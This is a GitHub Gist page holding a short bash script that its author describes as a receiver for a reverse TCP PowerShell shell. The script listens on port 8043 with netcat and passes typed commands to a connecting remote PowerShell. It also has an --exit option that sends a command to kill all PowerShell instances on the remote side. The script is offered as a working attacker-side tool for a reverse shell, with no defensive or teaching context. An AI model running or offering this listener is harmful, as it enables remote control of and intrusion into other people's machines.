Created
May 9, 2019 08:35
-
-
Save downloadpizza/3d205e7d733173b1f4e7bfe6969d339a to your computer and use it in GitHub Desktop.
A receiver for a reverse tcp powershell (--exit is to kill all PS instances if you put PS the conenctor in a loop)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
if [[ $1 = "--exit" ]] | |
then | |
echo "exiting..." | |
echo "ps powershell | kill"|nc -lp 8043 | |
echo "done" | |
exit 1 | |
fi | |
(echo "echo \"connected to \$(whoami)\""&&cat)|nc -lp 8043 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment